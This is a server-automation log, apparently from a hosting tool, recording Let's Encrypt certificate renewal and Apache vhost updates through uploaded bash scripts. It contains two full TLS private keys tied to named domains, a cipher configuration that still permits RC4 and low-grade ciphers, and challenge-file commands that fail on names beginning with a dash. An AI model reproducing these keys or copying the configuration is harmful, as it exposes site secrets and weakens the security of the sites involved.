ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDQp4wamMXqetIK6dfgqNBVAMLnAtdlmU3YMotshlIKngyv6xNtjnzkVFnb
z6GFMBOz2OQcqDPidsJA6NdfLVC2mWL7xVlMXve4RCwiWFbO8I7YHT8Xs4XchUAa
iarO5Cu7FNYfFlQRjDwfTLVtxOgeLnJmwbi0bURbPbPwNBrhklmpzQNGklp5vXer
7m/2eE5xkrj2hNUC4PZafhmN3+LF7SGHfeKNNoAxWi+ZlfbqqQg4fOq/6kpo45zP
SkVkV+rbsdg+P0aQUbmtozBMzBVHsyd9NaOz0LPi22Txr1+mnrqNbpNQ3ebYpAxi
EeyxBKR+//pMdPjjj3B1RjeKSJMZAgMBAAGjggI6MIICNjAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFEaiEYCOmAtn4rc1dUfqyjRLuDuKMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY3JveWRvbmNodXJjaC5p
bmZvghZ3d3cuY3JveWRvbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTMuY3Js
MIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAGYbUxyiqb/66A294Kk0BkarOLXIx
D67OXXBBLSVMx9QAAAGadqawhwAABAMARzBFAiAWt/pddzfLauax/cgnxTP5RF7L
xCUIj7WiCJ6yZBrPyQIhAOLAYGKfUB6VsdqjoZaCzhmqCau0UMN+ERAkfeYZkKU5
AHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGadqaw0QAABAMA
RzBFAiEAn8oaj1aN7WLYuLqKBidUlhPlx9PW4Xub8pnjksOS2wwCIBQtUTwjL5lC
HxVpNCT/5/RropxlafXPH0yUzOPXiNTVMA0GCSqGSIb3DQEBCwUAA4IBAQBgtN2j
B7bMRQdp6ve4wGa6uXeTrbwWUaU7ZmzdA/V2zp3LYNiB5kbTNhsLlVrsxh9dGNKM
1y4hUjjcdMApeCmqyftmlfy/6vV+dVw71fgVvKjdonsu0ObJCi9cmNA7yWOgzWLP
tc4oVOYm8GgghuzHVoG6VJU9/RMMfFfQmORVvRfzCz+0t4aNAJFyUKWDgZ6JNja+
Q+3HdVso+jYMC45TfRs85PsKybsHdTSQrmDOFFKhAKK5GtrGn06/X8ipiLy5c+Og
evy4B7SbUeUexxXgrdT2VeEB/j82AFGsjHIdOGj3DH8BSrpD5JWNXyckqgC8DODZ
l498L3W+oNUy0o93
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQp4wamMXqetIK
6dfgqNBVAMLnAtdlmU3YMotshlIKngyv6xNtjnzkVFnbz6GFMBOz2OQcqDPidsJA
6NdfLVC2mWL7xVlMXve4RCwiWFbO8I7YHT8Xs4XchUAaiarO5Cu7FNYfFlQRjDwf
TLVtxOgeLnJmwbi0bURbPbPwNBrhklmpzQNGklp5vXer7m/2eE5xkrj2hNUC4PZa
fhmN3+LF7SGHfeKNNoAxWi+ZlfbqqQg4fOq/6kpo45zPSkVkV+rbsdg+P0aQUbmt
ozBMzBVHsyd9NaOz0LPi22Txr1+mnrqNbpNQ3ebYpAxiEeyxBKR+//pMdPjjj3B1
RjeKSJMZAgMBAAECggEBAJD97MDKqrV+9Zh52PaXuHVpGwb2lYFXX529ud8HE9mm
7IAOZai63BS6fNrfVIk92GMgc5tqUuuqxN/gLVFJJw5MVllIUP5d+9wDG3weUOxq
g4iwAhjROlL8EYifY59zNORC3Wwq0u6CuYCyiFyn+PiIJB09vsE6MMcKgJCJVKis
DK1TaGdqzumzkkqSOsRwp4988Uz/EqUXGKc4KBurIb4JRSAxHl89urC2RHL6k0E1
RlUwDnVy7Bqbagt3zW0ahwmvIUGLcKIekpBlifp6yxcR89Z2Cp1elgm6SOL9QdhK
Oi7HvR+DtZuDsXc3lgljvTeIY3EA+xDydB3BeGVw3AUCgYEA/VA7rTdQTnJAe8Ul
qtXc3kTZ5/kSmzZ2VQnJ+MGrvI1MZVcLi47O/7MHjOMNkRtMiPD7odaYiZkddxpB
YseLnlX4++jEMv09WTz47ENlr38YyCfKWw6pGCFTJgp34l9NlAc7bcUbhuhBnquz
IbHytjmmzxmXMq67d+KKnf6GMi8CgYEA0t4PvQmOijao1fq26MNAcjEjMIe2HzhU
ijLbBSW+gocbXPBveEOnEt09I4kABJAF50yM/viz5eo2t0hozsxDvsv3DK9CqPaZ
G9w9T7wL5C3zCD2LypcyJWXHhuY84wKLphapiC590Qy5tfJa35wekdUjUodeerT8
PG6z2k89JTcCgYAp1UE1tufNPLMHfaRd1Rm3nzk5RPncph7eplIzgZBiABe4uKpQ
btIiiidaDfkkmJSIHPwBWxYvyxiBndVkgb299Ua8G1GjdgzWmuok4nB9jgjCrUeO
yBoGwSIhKyNnQAPoyVT4KNAF9H85u/NGQkPp8hVpKDm/BfoxrzjjJLB2wwKBgHJ4
XADaBEghngvzO4ImJIEZDapVsddG5BXVv7IOqFoBcChG2axmxXbnJT56K8lOSfYj
R1NOvZItUCC1LTg+CPS1ktqO9df1bm6CY8I6KhZnn0w05QNIis9kbilcKWduxVKX
cNbdri1jBBmyhARpouq10qQFmpNwVpGT4wy7AU2HAoGAW18KwrNaHstvcI1ZZ2H9
RGRBpRVkC06XSjo7mmoIew4dlTb1tyTfScnVEGxC6ermty56lCn5xw2IUnXC4EU/
RYONnLFlGsWuFVj3OqaYgZB2gqK1K6dnozbHAT4gzvL1QNdd6ZnIvKtDpavcPZvM
VSv+qrAz5teClBiyp8ggQ/g=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-12 06:00:28: Establishing a connection
2025-11-12 06:00:29: Establishing a connection
2025-11-12 06:00:29: 

PUT: /tmp/pkp225684

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-12 06:00:29: 

chmod 755 /tmp/pkp225684; /tmp/pkp225684; rm /tmp/pkp225684

2025-11-12 06:00:29: 


0


2025-11-12 06:00:55: Establishing a connection
2025-11-12 06:00:56: Establishing a connection
2025-11-12 06:00:57: 

PUT: /tmp/pkp710229

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-12 06:00:58: 

chmod 755 /tmp/pkp710229; /tmp/pkp710229; rm /tmp/pkp710229

2025-11-12 06:00:58: 


0


2025-11-12 06:00:59: Establishing a remote connection
2025-11-13 06:00:01: Establishing a connection
2025-11-13 06:00:02: Establishing a connection
2025-11-13 06:00:02: 

PUT: /tmp/pkp640502

#!/bin/bash
if [ -d "/var/www/hostz_venus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-13 06:00:03: 

chmod 755 /tmp/pkp640502; /tmp/pkp640502; rm /tmp/pkp640502

2025-11-13 06:00:03: 


1


2025-11-13 06:00:04: Establishing a connection
2025-11-13 06:00:05: 

PUT: /tmp/pkp513869

#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
cat > -YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
-YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 -YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU
cat > Fdrsyss9yptse2dNjy6J2ZOfpQO4JXtdZM1mCJeAtAM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Fdrsyss9yptse2dNjy6J2ZOfpQO4JXtdZM1mCJeAtAM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Fdrsyss9yptse2dNjy6J2ZOfpQO4JXtdZM1mCJeAtAM


2025-11-13 06:00:05: 

chmod 755 /tmp/pkp513869; /tmp/pkp513869; rm /tmp/pkp513869

2025-11-13 06:00:05: 


chmod: invalid option -- 'Y'
Try 'chmod --help' for more information.




STDERR:
chmod: invalid option -- 'Y'
Try 'chmod --help' for more information.


2025-11-13 06:00:15: Establishing a connection
2025-11-13 06:00:16: 

PUT: /tmp/pkp848582

#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
rm -YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU
rm Fdrsyss9yptse2dNjy6J2ZOfpQO4JXtdZM1mCJeAtAM


2025-11-13 06:00:16: 

chmod 755 /tmp/pkp848582; /tmp/pkp848582; rm /tmp/pkp848582

2025-11-13 06:00:16: 


rm: invalid option -- 'Y'
Try 'rm ./-YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU' to remove the file '-YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU'.
Try 'rm --help' for more information.




STDERR:
rm: invalid option -- 'Y'
Try 'rm ./-YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU' to remove the file '-YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU'.
Try 'rm --help' for more information.


2025-11-13 06:00:16: Establishing a connection
2025-11-13 06:00:16: 

PUT: /tmp/pkp212591

#!/bin/bash
temp_file=$(mktemp)
TARGET=d2f885a15ab55cd2a5fd0d3cbe2ab259.crt

cat > $temp_file <<'endmsg'
d0:ce:b6:79:a7:55:2f:7a:e3:8b:45:65:01:61:6a:d4

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBjPC9uqj6UCgwZfDivH0EkWPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEzMDUwMTQ1WhcNMjYwMjExMDUwMTQ0WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL8aBvh4HzrYlApFCfKWx5lprWFDrdKhOPGYdeCjjzcgZHsvllHaHb7RMbwjJWKs
//Ze7qnwGMy1QUFc+dxL+22O+mwEtQcZxfxeuO+oWUxE5MJz8Fb35ZM9J9Vl+t8E
O5/vRy7Frg1DqySIcH0T3iJWv+8lPELofuu4sO64yzJSpO7dvRiPM2HBchB5J8pu
xJVOJMFOMCttqn3KRnLj6bIt7cu/VeuV8nK4G/RAgKnYCdtb2FiircymCFdlHQ2+
/IHX2nze4kkPCvCXND1x0viiy2z+P5XXRHJcicIkmo7KgZJdQO87HKag9cMsMjEB
x8NtmpDna6V/3ShbjmixL3ECAwEAAaOCAkQwggJAMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUI+ilrclrIgo3rFPS4CHodWWeO0swHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2gg5lbWVzc2FnZS5lbWFpbIITbWFp
bC5lbWVzc2FnZS5lbWFpbIIPdmVudXMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MTYuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAGYbUxyiqb/66A294Kk0B
karOLXIxD67OXXBBLSVMx9QAAAGae8zexwAABAMARzBFAiANO3eN4Kf8hdWBrXK9
OC8cGqo9MjKril0/nc70QxziEQIhALCVMUCb9B1HNmPV7ZQZSxSHwB4hO+ApurM1
1TMEJRHMAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGae8ze
xgAABAMARzBFAiBWXKGna9bCLjJMshVJavSaG+LnXRj09r3aaJJ6Y9gPmQIhAJVs
HIqiI8Va/4kJ1w3OPZ6GAtnGPk8GQsJWHno/nTMhMA0GCSqGSIb3DQEBCwUAA4IB
AQBE3xEgR28M75lcWY61KmX/kTbBiRCe0nAi47eaWvmpYz6M9BDojvh+51xm7HEb
qttJcZspdOqKLSmYwQvppOWhLusy45ZvO1SeiyHpyOyZBk0rhEq/5jDHQaxBTTzu
iqlMIVb8lfYWM+0JII6sV7ls05o59ddIByx0QPUwvnTnr6KChV8FtNSgTeZGeTEn
EeLES4ci0Wfw8Ke+zt64oVKAqOd8UFUAveU7vBeAtvcjcYLmNWePuRk7LPrTnydO
txu6zQBtPNBPqyU1o15UXiJh/mp3zfl/KKiIRltG7Jgy8/2GqAToGtMqdctz5wKm
/PRkXM61y5GarPbZkQcckZKV
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/Ggb4eB862JQK
RQnylseZaa1hQ63SoTjxmHXgo483IGR7L5ZR2h2+0TG8IyVirP/2Xu6p8BjMtUFB
XPncS/ttjvpsBLUHGcX8XrjvqFlMROTCc/BW9+WTPSfVZfrfBDuf70cuxa4NQ6sk
iHB9E94iVr/vJTxC6H7ruLDuuMsyUqTu3b0YjzNhwXIQeSfKbsSVTiTBTjArbap9
ykZy4+myLe3Lv1XrlfJyuBv0QICp2AnbW9hYoq3MpghXZR0NvvyB19p83uJJDwrw
lzQ9cdL4osts/j+V10RyXInCJJqOyoGSXUDvOxymoPXDLDIxAcfDbZqQ52ulf90o
W45osS9xAgMBAAECggEARSs9hKet3hXQF5t/iz/KBRw79i2R9+AFBWVCnUl2J+Tg
mbnStdO12oBLeSZbfMjTaLBZwEa4Izgj422svnD+E1yiBYD6qRRKFhuO4qfTkoiJ
KFzgjAn0HYQQK+xajmgw0KXB5QsGAaURiAqedJdBWrp9hCi9FBalAdr6p51ZZt/k
CZUlKHau3dxgVmqc1TZR3Qho7+tqxd1NWyYpYV9FJXYFpZaLcw3zeDzg0Ca4p0Uw
Tx2vppcRR1EPaLRvzJGNPudD7+HsNnGlkQzB7ZkJKygHob29fVq7BVWF+kSpSAMb
PGEy3cK4gTcfJrLd+yJZ0tnUMNfR+b2OeaGYzy8v8QKBgQD0d9WNvNdKOUg2kweh
vjeR4Zpiuq/ghfmY69buM/ZhhpGjeOUOXKk7tBbCt8ZSHJmH4ZPgL9v0xs5CxMii
6JV7GSdXeKbidb47ueQE+5ywMMi+dnpFrItN6DkrT2eJ9LBNmjWHqNi/bJEaVL4X
p8aY2J0s49BTUSRuwwYoiRhPbQKBgQDIHb8rE/lch+UY996u61zcm//t1px4D00/
OgsJ21pKE0tFzlLDLPXRFhB2uFJqO3aRCckw/5i3oyUtBIudSMW5OI0VPMVgCIW5
HVtFreqEgFSIYlivvy74qjpimvx79y4k6LqBOJiq0qfkhTDDwa5jwNjr3zr1j+F6
Vzd6OAyplQKBgQDkXGhlHUiyce3N5OxVH13DbM2Nejw+bIfqXCuKmYmGMnErFgxJ
rS78sU4tmAOuwj58mrBK1AoQjgEwh6ev3bl8otOINxEVK82G9y9TpEIKp5dtqziu
iu4Z2VpF5cefK63g37MvRP8rWVv2D8D+UeAG+RlhTHFW0s5IlO7UwLOvxQKBgAF0
FdtePcVqR0OzKS7kDrybdXRoxqIomksHROVBbppzIWzUXs2EGhT2sA/srsyOugG7
rHZqpNVQngiBq/HsgWMjAgNRea2E4lPB3tPWu4lS1UpYTISaQuETe3ET5xmPZgpm
llQx8QnslcOXJA+H7JhU4j50VJ1L+jtFPuXoWk8xAoGBANO9Yo+5hb7Qg4cw2xQo
vBABLmczGfKuKkMzDNVnGTrlkp5u25TlTxH8omVc7M4mjuPlDoapWS2h5GtsAO22
he61s7dU7pVkpO/QdppPXr3ZCvhVp4A9ytkrwt8v7Osb5oTR4bgIgFrEcZZMzZFE
LlLLtapKFzT+4//jCgoTSmxU
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-13 06:00:16: 

chmod 755 /tmp/pkp212591; /tmp/pkp212591; rm /tmp/pkp212591

2025-11-13 06:00:16: 


dir=/etc/ssl/certs


2025-11-13 06:00:16: 

PUT: /tmp/pkp692675

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_venus_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-13 06:00:16: 

chmod 755 /tmp/pkp692675; /tmp/pkp692675; rm /tmp/pkp692675

2025-11-13 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf 49

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-13 06:00:16: 

PUT: /tmp/pkp521728

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_venus_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_venus_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_venus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_venus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf= 1'
fi


2025-11-13 06:00:16: 

chmod 755 /tmp/pkp521728; /tmp/pkp521728; rm /tmp/pkp521728

2025-11-13 06:00:16: 




2025-11-13 06:00:16: 

PUT: /tmp/pkp588551

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
